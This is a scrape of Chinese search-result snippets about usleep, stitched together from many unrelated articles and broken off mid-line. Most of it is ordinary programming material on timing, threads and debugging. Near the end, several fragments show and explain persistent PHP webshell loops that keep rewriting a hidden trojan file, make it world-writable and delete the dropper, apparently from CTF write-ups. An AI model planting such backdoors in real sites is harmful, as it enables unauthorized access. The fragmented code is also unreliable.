在android 手机上,如果call usleep(2*1000),结果sleep时间不定,甚至结果sleep了50+ms,是不是有点过分,测试代码如下:各位可以在手机上测试下,特别是把程序放在后台运行的情况下...) { for(j=0;j<10;j++) { gettimeofday( &oldTime, NULL ); usleep..., usleep); __weak_reference(__usleep, _usleep); Key function nanosleep,它能提供纳秒级的延时精度,该用户空间函数对应的内核实现是sys_nanosleep...,并且不是RT thread,那么这个usleep的时间不是准确的。...最常见的可能就是后台播放音乐会有“啪啪啪”的噪音,其原因就是usleep 不准确,而导致拿不到数据而出现noise。
下表列出了这几个函数间的异同点,可作为参考: 性质 精准度 线程安全 信号安全 sleep libc库函数 秒 是 不能和alarm同时使用 有些是基于alarm实现的,所以不能和alarm同时使用 usleep...libc库函数 微秒 - - POSIX.1-2001已将usleep标注为废弃,POSIX.1-2008已删除usleep,应当使用nanosleep替代usleep nanosleep 系统调用
写Linux应用时用到睡眠函数,比如sleep,usleep,但是将应用移植到Windows系统却是编译错误。本文解决Linux与Windows睡眠函数的兼容性问题。...Sleep(sec * 1000) #define msleep(msec) Sleep(msec) #else #include #define msleep(msec) usleep...(msec * 1000) #endif 2.关于Windows下的usleep 在Windows系统下使用微秒睡眠,实际用处不大,一般API调用都几微秒了。...static void usleep(unsigned long usec) { HANDLE timer; LARGE_INTEGER interval; interval.QuadPart...(msec * 1000) #endif int main(int argc, char *argv[]) { sleep(1); msleep(100); usleep(1000
有两点需要注意 #include "sleep.h" 这个宏定义是我们自己实现的,代码中 os_usleep() 这个函数是在这个文件中定义的,继续往下看。...napi_value init(napi_env env, napi_value exports) { napi_property_descriptor descriptor = { "usleep...int os_usleep(unsigned int microseconds); sleep_linux.c Linux 系统下睡眠函数的实现,usleep() 单位是微秒,需要引入 unistd.h..., return -1 on error int usleepRes = usleep(microseconds); return usleepRes; } sleep_win.c Windows...const { usleep } = require('.
PIN13 M3T G usleep(10000); ::ioctl(fd2,1,5);// con6 PIN14 M3L K//准备 usleep(100000);...(100000); ::ioctl(fd2,0,9);// con6 PIN18 M2W g 小臂 -6000 usleep(100000); ::ioctl(fd2,1,9...);// con6 PIN18 M2W k 小臂 -6000 usleep(100000); usleep(100000); usleep(100000); usleep...(100000); usleep(100000); usleep(100000); usleep(100000); usleep(100000); usleep(...PIN18 M2W g 小臂 usleep(100000); ::ioctl(fd2,0,5);// con6 PIN14 M3L g usleep(10000);
windows.h> int main() { int a=100; Sleep(3000);// 滞停3s打印a printf("%d",a); return 0; } usleep...函数: 功能: usleep功能把进程挂起一段时间, 单位是微秒us(百万分之一秒)。...语法: void usleep(int micro_seconds); 返回值: 无 注意:这个函数不能工作在 Windows 操作系统中。 usleep() 与sleep()类似,用于延迟挂起进程。...如果延迟时间为几十毫秒,或者更小,尽可能使用usleep()函数。这样才能最佳的利用CPU时间。
stdio.h> int num = 0; pthread_t pthid; void * thread_start(void *arg){ while(1){ num++; usleep...} } void * thread_start1(void *arg){ while(1){ printf("num1 = %d\n",num); num++; usleep...(random()%200); printf("num2 = %d\n",num); usleep(random()%200); } } int main(){ srand...&pthid,0,thread_start,(void *)1); //创建线程2 pthread_create(&pthid,0,thread_start1,(void *)2); usleep...//申请加锁 pthread_mutex_lock(&foo_mutex); printf("num1 = %d\n",num); num++; usleep
php function task1(){ for ($i=0;$i<=300;$i++){ //写入文件,大概要3000微秒 usleep(3000);...}\n"; } } function task2(){ for ($i=0;$i<=500;$i++){ //发送邮件给500名会员,大概3000微秒 usleep...i}\n"; } } function task3(){ for ($i=0;$i<=100;$i++){ //模拟插入100条数据,大概3000微秒 usleep...写入文件,大概要3000微秒 if ($i > 300) { return false;//超过300不用写了 } echo "写入文件{$i}\n"; usleep...插入数据,大概要3000微秒 if ($i > 100) { return false;//超过100不用插入 } echo "插入数据{$i}\n"; usleep
include int main() { int a; a=1000; Sleep(a);/* VC 使用Sleep*/ return 0; } usleep...语法: void usleep(int micro_seconds); 返回值: 无 函数种类: PHP 系统功能 内容说明:本函数可暂时使程序停止执行。...参见:usleep() 与sleep()类似,用于延迟挂起进程。进程被挂起放到reday queue。 只是一般情况下,延迟时间数量级是秒的时候,尽可能使用sleep()函数。...如果延迟时间为几十毫秒,或者更小,尽可能使用usleep()函数。
while (true) 10 { 11 g = 100; 12 printf("worker_thread_1\n"); 13 usleep...while (true) 22 { 23 g = -100; 24 printf("worker_thread_2\n"); 25 usleep...3; 45 printf("g=%d\n", g); 46 g = -4; 47 printf("g=%d\n", g); 48 49 usleep...(gdb) until 48 0x00007ffff704c884 in usleep () from /usr/lib64/libc.so.6 (gdb) worker_thread_2 [Switching...() from /usr/lib64/libc.so.6 (gdb) next Single stepping until exit from function usleep, which has no
程序如下: #include #include #include #include void usleep(__int64...b[k] : 10); A += 0.00004; B += 0.00002; } usleep(30000);...将其更换为 #include ,并删除如下函数: void usleep(__int64 usec) { HANDLE timer; LARGE_INTEGER ft...b[k] : 10); A += 0.00004; B += 0.00002; } usleep(30000);
=1 LIMIT 1 FOR UPDATE"); $row = $result- fetch_assoc(); $num = intval($row['num']); if($num 0){ usleep...result- fetch_assoc(); $num = intval($row['num']); $version = intval($row['version']); if($num 0){ usleep...$num = $this- redis- get('num'); if($num 0) { $this- redis- watch('num'); usleep(100); $res =...result'); echo 'init done'; } public function run(){ $goods_id = $this- redis- rPop('goods'); usleep...public function run(){ $num = $this- redis- get('num'); if($num 0) { usleep(100); $retNum
视频: 云课五分钟-05一段代码修改-AI修改C++ 文字: usleep(30000); 实现什么功能 usleep(30000); 实现的功能是使程序暂停30000微秒(也就是0.03秒或30毫秒)...在这段代码中,usleep函数用于在每次循环迭代之间添加一个小的延迟。这样做有几个目的: 可视化效果:使得用户能够观察到图形的动态变化。如果没有这个延迟,图形变化会过快,可能难以观察。...节奏控制:对于动态系统或者动画来说,usleep可以用于控制系统的更新速度或者动画的帧率。...简单来说,usleep(30000);就是用来在每次循环迭代中创建一个小的延迟,以提供更好的用户体验并降低CPU的使用率。...如果你想让动态效果变慢一倍,你可以简单地将 usleep(30000); 这行代码修改为 usleep(60000);。
下面我们尝试用funclatency这个现成的工具来分析代码里面的usleep(100)究竟真正延迟多少,写一个最简单的应用程序,编译为a.out: ?...运行后,我们来得到usleep(100)调用内核do_nanosleep的真实延迟: ? 其实usleep(100)大面积集中在256-511us。...所以,这个usleep(100)究竟有多准,天知道。 ?
bufPtr+1) % (1024); while( ACCESS(DMABASE + 0x04 /* CurBlock*/) == (int)(instrs[bufPtr].p)) usleep....p; // set up a clock for the PWM ACCESS(CLKBASE + 40*4 /*PWMCLK_CNTL*/) = 0x5A000026; usleep...(1000); // set up pwm ACCESS(PWMBASE + 0x0 /* CTRL*/) = 0; usleep(1000); ACCESS(PWMBASE...+ 0x4 /* status*/) = -1; // clear errors usleep(1000); ACCESS(PWMBASE + 0x0 /* CTRL*/) = -1;...<<13 /* Use fifo */) | (1<<10 /* repeat */) | (1<<9 /* serializer */) | (1<<8 /* enable ch */) ; usleep
php function task1(){ for ($i=0;$i<=300;$i++){ //写入文件,大概要3000微秒 usleep(3000); ...}\n"; } } function task2(){ for ($i=0;$i<=500;$i++){ //发送邮件给500名会员,大概3000微秒 usleep...i}\n"; } } function task3(){ for ($i=0;$i<=100;$i++){ //模拟插入100条数据,大概3000微秒 usleep...写入文件,大概要3000微秒 if ($i > 300) { return false;//超过300不用写了 } echo "写入文件{$i}\n"; usleep...插入数据,大概要3000微秒 if ($i > 100) { return false;//超过100不用插入 } echo "插入数据{$i}\n"; usleep
>'; while (1){ file_put_contents($file,$code); usleep(5000); } ?...>; //php代码 file_get_contents(file,code); //打开file文件,然后写入code usleep(5000); //每隔usleep(5000)写入一个新文件...unlink就是为了删除传入的不死马文件,避免一些不必要的信息泄露出去,$file中可以规定你要不断生成的文件名,usleep(time)是生成木马的时间,这也是不死马的灵魂之一,通过不断生成文件在当前目录下
/bin/sh 2 var=1 3 while : 4 do 5 echo this is $var 6 var=$(($var+1)) 7 usleep 100000 8 done 这个脚本每.../deadloop.sh 16688 16673 16673 12539 16717 500 500 yunhai T pts/1 | | \_ usleep 100000...而在使用 Ctrl+S 时并无特别的信号被侦测到 (仅 usleep 进程结束时向父进程发送的 SIGCHILD)。...注意:此处的 SIGCHLD 并不表示 deadloop.sh 与 usleep 结束,而是挂起时向父进程发送的通知。...所以前者应该是在输出时被暂停的,而后者是在等待 usleep 子进程返回时被挂起的。 大家可以体会一下这两处方式在细微处的差别。
>"; file_put_contents(".bk.php", $content); usleep(10000); #停一会 } ?...当然有几处是有些问题的 1.删除自身,也可以不删除,没什么区别 2.写入的一句话,这类一句话木马可能一下就能查出来,或者别人看到后知道你的php木马的密码是什么,一般情况下也可以加混淆 3.usleep...file_put_contents($file,$shell); system('chmod 777 .shell.php'); touch(".shell.php"); usleep
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